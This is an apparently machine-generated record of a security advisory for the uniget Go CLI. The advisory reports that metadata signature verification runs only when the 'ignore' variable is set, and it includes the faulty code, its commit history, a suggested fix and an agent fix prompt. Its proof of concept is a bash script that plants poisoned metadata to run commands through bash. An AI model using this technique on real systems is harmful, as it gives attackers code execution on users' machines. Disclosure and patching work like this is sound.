{"answers":{"affected":"3 open source packages ship an affected version, including gitlab.com/uniget-org/cli.","exploited":"There is no known exploitation of GHSA-fhgh-wq4q-r37x in the wild and no public exploit code.","fix":"Upgrade gitlab.com/uniget-org/cli to 0.28.9 or later.","what":"GHSA-fhgh-wq4q-r37x is a vulnerability in gitlab.com/uniget-org/cli, published on 17 Aug 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-fhgh-wq4q-r37x and fix it if it is affected.\n\nWhat it is: GHSA-fhgh-wq4q-r37x is a vulnerability in gitlab.com/uniget-org/cli, published on 17 Aug 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-fhgh-wq4q-r37x in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- gitlab.com/uniget-org/cli (Go): affected from 0.27.4; fixed in 0.28.9\n- gitlab.com/uniget-org/cli (Go): affected from 0.27.4; fixed in 0.28.9\n- gitlab.com/uniget-org/cli (Go): affected from 0.27.4; fixed in 0.28.9\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-fhgh-wq4q-r37x/ (Markdown: https://insights.sbomify.com/GHSA-fhgh-wq4q-r37x/index.md)","id":"GHSA-fhgh-wq4q-r37x","markdown":"https://insights.sbomify.com/GHSA-fhgh-wq4q-r37x/index.md","name":"GHSA-fhgh-wq4q-r37x","record":{"aliases":["GO-2026-6246"],"analysis":{"component_type":"developer_tool","fix_type":"patch","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"Go CLI tool","requires_auth":"none","summary":"Attackers can execute arbitrary commands via malicious metadata because signature verification is incorrectly disabled by default in the uniget CLI.","user_interaction":"not_required","vuln_class":"security_feature_bypass"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe sigstore check on `metadata.json` is gated on the wrong side of the condition. `LoadMetadata` in `internal/config/update.go:81` verifies the bundle only when `UNIGET_IGNORE_METADATA_SIGNATURE` is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named \"ignore the signature\" is what turns verification on.\n\nThat matters because `metadata.json` populates `Tool.Check`, and `pkg/tool/tool.go:250` runs `Tool.Check` through `/bin/bash -c`. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs.\n\n## Where it is\n\n`internal/config/update.go:80-100`:\n\n```go\nfunc (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) {\n\tif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0 {\n\t\t_, err = security.VerifySigstoreBundle(\n\t\t\tfilename,\n\t\t\tfilename+\".sigstore.json\",\n\t\t\t...\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error verifying sigstore bundle for metadata: %s\", err)\n\t\t}\n\t}\n\n\tloadedTools, err = tool.LoadFromFile(filename)\n```\n\n`cmd/uniget/main.go:102-105` carries the same flipped condition in the decision about whether to re-download metadata:\n\n```go\nif !myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()) ||\n\tconfiguration.AutoUpdate ||\n\t(len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0 \u0026\u0026\n\t\t!myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()+\".sigstore.json\")) {\n```\n\nso a cached `metadata.json` with no `.sigstore.json` beside it is not refetched either, as long as the variable is unset.\n\n`LoadMetadata` is called from `cmd/uniget/main.go:115` in the persistent pre-run, which means every subcommand loads metadata this way. The sink is `pkg/tool/tool.go:248-251`:\n\n```go\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n\tlogging.Tracef(\"Running version check for %s: %s\", tool.Name, tool.Check)\n\tcmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n```\n\n## How it got this way\n\nThe check was introduced correctly. In d12ef12c (\"fix: Only accept signed metadata\", released as v0.27.1) `VerifySigstoreBundle` was called unconditionally. 370d0155 then wrapped it in `if os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\") != \"true\"`, which is still the right polarity. b68a27d5 (\"fix: Accept any non-empty value\"), which is the commit tagged v0.27.4, rewrote that as `if len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0`. The intent was clearly to accept any truthy value instead of the literal string \"true\", but the negation was dropped in the rewrite and the meaning flipped.\n\n## Proof of concept\n\nBuilt from a clean checkout of the v0.28.2 tag with `go build -o /tmp/unigetbin ./cmd/uniget`, then run in user mode against a poisoned cache with no `metadata.json.sigstore.json` present and `UNIGET_IGNORE_METADATA_SIGNATURE` explicitly removed from the environment.\n\n```bash\nH=/tmp/pochome\nmkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil\ncat \u003e $H/.cache/uniget/metadata.json \u003c\u003c'EOF'\n{\"tools\":[{\"name\":\"evil\",\"version\":\"1.0.0\",\"binary\":\"${target}/bin/evil\",\n\"check\":\"id \u003e /tmp/uniget-rce-proof.txt; echo PWNED\",\"tags\":[\"test\"],\n\"description\":\"poisoned metadata\",\"repository\":\"https://example.com\",\n\"license\":{\"name\":\"MIT\",\"link\":\"https://example.com\"},\n\"sources\":[{\"registry\":\"ghcr.io\",\"repository\":\"uniget-org/tools\"}]}]}\nEOF\nprintf '#!/bin/sh\\necho 1.0.0\\n' \u003e $H/.local/bin/evil; chmod +x $H/.local/bin/evil\ntouch $H/.cache/uniget/evil/1.0.0\n\nenv -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \\\n  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n  /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nPWNED\n```\n\nand `/tmp/uniget-rce-proof.txt` contains the output of `id`. No signature error was raised, even though there is no bundle file at all.\n\nThe control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a `metadata.json.sigstore.json` exists (deliberately not a valid bundle) and the \"ignore\" variable is set:\n\n```bash\necho '{\"not\":\"a real bundle\"}' \u003e $H/.cache/uniget/metadata.json.sigstore.json\nUNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \\\n  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n  /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nError: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field \"not\"\n```\n\nSo verification runs when the ignore variable is set, and does not run when it is unset.\n\n## Impact\n\nAnything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for `uniget-org/tools`, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and `/bin/bash -c`, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user.\n\n## Suggested fix\n\nInvert the condition so verification is the default and the environment variable opts out:\n\n```go\nif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) == 0 {\n\t_, err = security.VerifySigstoreBundle(...)\n\t...\n}\n```\n\nThe same inversion is needed at `cmd/uniget/main.go:104`, where the re-download decision should be \"the bundle is missing and we are not ignoring signatures\". It would also be worth failing closed when the `.sigstore.json` file is absent rather than treating a missing bundle as nothing to verify.\n\n## Deduplication\n\nCVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the `tool.Check` command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading.\n\n## How I found it and a note on tooling\n\nI was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach `RunVersionCheck`, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set","id":"GHSA-fhgh-wq4q-r37x","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"security_feature_bypass","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":["0.28.9"],"introduced":["0.27.4"],"last_affected":[],"package":"gitlab.com/uniget-org/cli","purl":null,"source":"GHSA-fhgh-wq4q-r37x"},{"ecosystem":"Go","fixed":["0.28.9"],"introduced":["0.27.4"],"last_affected":[],"package":"gitlab.com/uniget-org/cli","purl":"pkg:golang/gitlab.com/uniget-org/cli","source":"GHSA-fhgh-wq4q-r37x"},{"ecosystem":"Go","fixed":["0.28.9"],"introduced":["0.27.4"],"last_affected":[],"package":"gitlab.com/uniget-org/cli","purl":"pkg:golang/gitlab.com/uniget-org/cli","source":"GO-2026-6246"}],"products":null,"published":"2026-08-17","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can execute arbitrary commands via malicious metadata because signature verification is incorrectly disabled by default in the uniget CLI.","url":"https://insights.sbomify.com/GHSA-fhgh-wq4q-r37x/"}